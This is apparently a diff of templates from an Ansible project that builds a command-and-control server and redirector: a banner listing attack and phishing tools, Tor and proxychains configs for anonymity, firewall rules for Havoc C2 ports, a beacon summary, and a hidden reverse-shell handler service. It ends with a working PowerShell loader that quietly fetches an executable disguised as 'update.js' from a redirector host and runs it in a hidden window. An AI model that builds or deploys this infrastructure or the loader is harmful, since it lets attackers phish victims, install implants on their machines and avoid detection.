- Havoc C2: installed in /root/Tools/Havoc
Security Scripts in /root/Tools/:
-----------------------------
- clean-logs.sh: Securely clears all logs on the system
- secure-exit.sh: Perform secure wipe for termination
- serve-beacons.sh: Hosts generated implants for delivery
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
Once your DNS record points to this servers public IP, you can obtain a Lets Encrypt certificate by running:
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
systemctl start nginx.service
Remember to ensure your DNS is set correctly before running the above command.
**IMPORTANT:**
To route traffic through Tor for additional anonymity, prefix commands with 'proxychains':
proxychains curl ifconfig.me
Don't forget to set up a DMARC record for your domain. Update your DNS provider's dashboard to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+48
View File
@@ -0,0 +1,48 @@
Welcome to your new C2 Server!
The following tools and utilities have been installed:
Apt-Installed Tools:
--------------------
- git, wget, curl, unzip
- python3-pip, python3-venv, pipx
- tmux, nmap, tcpdump, hydra, john, hashcat
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
- golang, proxychains, tor, crackmapexec, jq, unzip
- postfix, certbot, opendkim, opendkim-tools
Pipx-Installed Tools:
---------------------
- NetExec: git+https://github.com/Pennyw0rth/NetExec
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
- impacket: (various network protocols and service tools)
Custom Tools Installed in ~/Tools:
----------------------------------
- SharpCollection: ~/Tools/SharpCollection
- Kerbrute: ~/Tools/Kerbrute
- PEASS-ng: ~/Tools/PEASS-ng
- MailSniper: ~/Tools/MailSniper
- Inveigh: ~/Tools/Inveigh
- Gophish: ~/Tools/gophish (unzipped here)
Other Installed C2 Frameworks:
------------------------------
- Metasploit Framework: system installed (run 'msfconsole')
- Havoc C2: installed in /root/Tools/Havoc
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
Once your DNS record points to this servers public IP, you can obtain a Lets Encrypt certificate by running:
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
systemctl start nginx.service
Remember to ensure your DNS is set correctly before running the above command.
**IMPORTANT:**
Dont forget to set up a DMARC record for your domain. Update your DNS providers dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+16
View File
@@ -0,0 +1,16 @@
================================================================
C2itall Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
+48
View File
@@ -0,0 +1,48 @@
Welcome to your new C2 Server!
The following tools and utilities have been installed:
Apt-Installed Tools:
--------------------
- git, wget, curl, unzip
- python3-pip, python3-venv, pipx
- tmux, nmap, tcpdump, hydra, john, hashcat
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
- golang, proxychains, tor, crackmapexec, jq, unzip
- postfix, certbot, opendkim, opendkim-tools
Pipx-Installed Tools:
---------------------
- NetExec: git+https://github.com/Pennyw0rth/NetExec
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
- impacket: (various network protocols and service tools)
Custom Tools Installed in ~/Tools:
----------------------------------
- SharpCollection: ~/Tools/SharpCollection
- Kerbrute: ~/Tools/Kerbrute
- PEASS-ng: ~/Tools/PEASS-ng
- MailSniper: ~/Tools/MailSniper
- Inveigh: ~/Tools/Inveigh
- Gophish: ~/Tools/gophish (unzipped here)
Other Installed C2 Frameworks:
------------------------------
- Metasploit Framework: system installed (run 'msfconsole')
- Havoc C2: installed in /root/Tools/Havoc
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
Once your DNS record points to this servers public IP, you can obtain a Lets Encrypt certificate by running:
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
systemctl start nginx.service
Remember to ensure your DNS is set correctly before running the above command.
**IMPORTANT:**
Dont forget to set up a DMARC record for your domain. Update your DNS providers dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+68
View File
@@ -0,0 +1,68 @@
# FlokiNET/templates/proxychains.conf.j2
# ProxyChains configuration for C2 server
# Routes traffic through Tor for anonymity
# Dynamic chain - Each connection through the proxy list
# Uses chained proxies in the order they appear in the list
dynamic_chain
# Proxy DNS requests - no leak for DNS data
proxy_dns
# Randomize the order of the proxies on each start
# random_chain
# Set the type of chain (dynamic, strict, random)
# strict_chain
# random_chain
# Quiet mode (less console output)
quiet_mode
# ProxyList format:
# type host port [user pass]
# (values separated by 'tab' or 'blank')
[ProxyList]
# add proxy here ...
# socks5 127.0.0.1 1080
socks5 127.0.0.1 9050
# FlokiNET/templates/iptables-rules.j2
# Hardened iptables rules for FlokiNET C2 server
# Applied at system startup
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
# Allow established and related connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
-A INPUT -i lo -j ACCEPT
# Allow SSH
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ ssh_port | default(22) }} -j ACCEPT
# Allow HTTP/HTTPS
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
# Allow Havoc C2 ports
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_http_port | default(8080) }} -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_https_port | default(443) }} -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_teamserver_port | default(40056) }} -j ACCEPT
# Allow shell handler port
{% if shell_handler_port is defined %}
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ shell_handler_port }} -j ACCEPT
{% endif %}
# Block all other incoming traffic
-A INPUT -j DROP
# Allow all outbound traffic by default
-A OUTPUT -j ACCEPT
COMMIT
+17
View File
@@ -0,0 +1,17 @@
C2 Server Details:
- C2 IP: C2_HOST
- Redirector Domain: REDIRECTOR_HOST
Beacons Generated (GENERATED_DATE):
- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE)
- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE)
- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE)
- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE)
- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE)
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT
+18
View File
@@ -0,0 +1,18 @@
# FlokiNET/templates/resolv.conf.j2
# Secure DNS configuration
# Uses privacy-respecting DNS servers
nameserver 9.9.9.9
nameserver 1.1.1.1
options edns0 single-request-reopen
options timeout:1
options attempts:2
# FlokiNET/templates/dnscrypt.conf.j2
[Resolve]
DNS=9.9.9.9 1.1.1.1
FallbackDNS=8.8.8.8 8.8.4.4
DNSSEC=yes
DNSOverTLS=yes
Cache=yes
DNSStubListener=yes
View File
+22
View File
@@ -0,0 +1,22 @@
#!/bin/bash
# Let's Encrypt Certificate Setup Script
# Run this after setting up DNS records pointing to this server
# Replace these with your actual values if needed
DOMAIN="{{ domain }}"
SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}"
EMAIL="admin@${DOMAIN}"
echo "================================================"
echo "Let's Encrypt Certificate Setup"
echo "================================================"
echo
echo "Before running this script, make sure:"
echo "1. DNS records are set up correctly"
echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
echo "2. Port 80 is open to the internet"
echo
echo "Run the following command to get your certificate:"
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
echo
echo "================================================"
+28
View File
@@ -0,0 +1,28 @@
[Unit]
Description=Reverse Shell Handler Service
After=network.target
[Service]
Type=simple
User=root
Group=root
ExecStart=/root/Tools/shell-handler/persistent-listener.sh
Restart=always
RestartSec=10
# Hide process information
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
# Make shell handler hard to find
StandardOutput=null
StandardError=null
# Environment variables (configured via Ansible)
Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}"
Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}"
Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}"
[Install]
WantedBy=multi-user.target
+48
View File
@@ -0,0 +1,48 @@
# FlokiNET/templates/torrc.j2
#
# Tor configuration for C2 server
# Hardened configuration for operational security
# General settings
DataDirectory /var/lib/tor
RunAsDaemon 1
ControlPort 9051
CookieAuthentication 1
CookieAuthFileGroupReadable 0
DisableDebuggerAttachment 1
# Network settings
SOCKSPort 127.0.0.1:9050
SOCKSPolicy accept 127.0.0.1/8
SOCKSPolicy reject *
Log notice file /var/log/tor/notices.log
SafeSocks 1
TestSocks 0
# Circuit settings
NumEntryGuards 4
EnforceDistinctSubnets 1
CircuitBuildTimeout 60
PathsNeededToBuildCircuits 0.95
NewCircuitPeriod 900
MaxCircuitDirtiness 1800
# Security settings
StrictNodes 1
WarnPlaintextPorts 23,109,110,143,80,21
ReachableAddresses *:80,*:443
ReachableAddresses reject *:*
ReachableAddresses accept *:80
ReachableAddresses accept *:443
# Obfuscation settings
Bridge obfs4 {{ bridge_address | default('placeholderbridge.example.org:443') }} {{ bridge_fingerprint | default('PLACEHOLDERFINGERPRINT') }} cert=PLACEHOLDER
UseBridges 1
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
ClientTransportPlugin meek exec /usr/bin/obfs4proxy
# Exit policy (no exits allowed)
ExitPolicy reject *:*
# DNS resolution
AutomapHostsOnResolve 1
+16
View File
@@ -0,0 +1,16 @@
# Windows PowerShell Beacon Loader
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$ErrorActionPreference = "SilentlyContinue"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
$outpath = "$env:TEMP\update-$(New-Guid).exe"
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath $outpath
} catch {
# Fail silently
}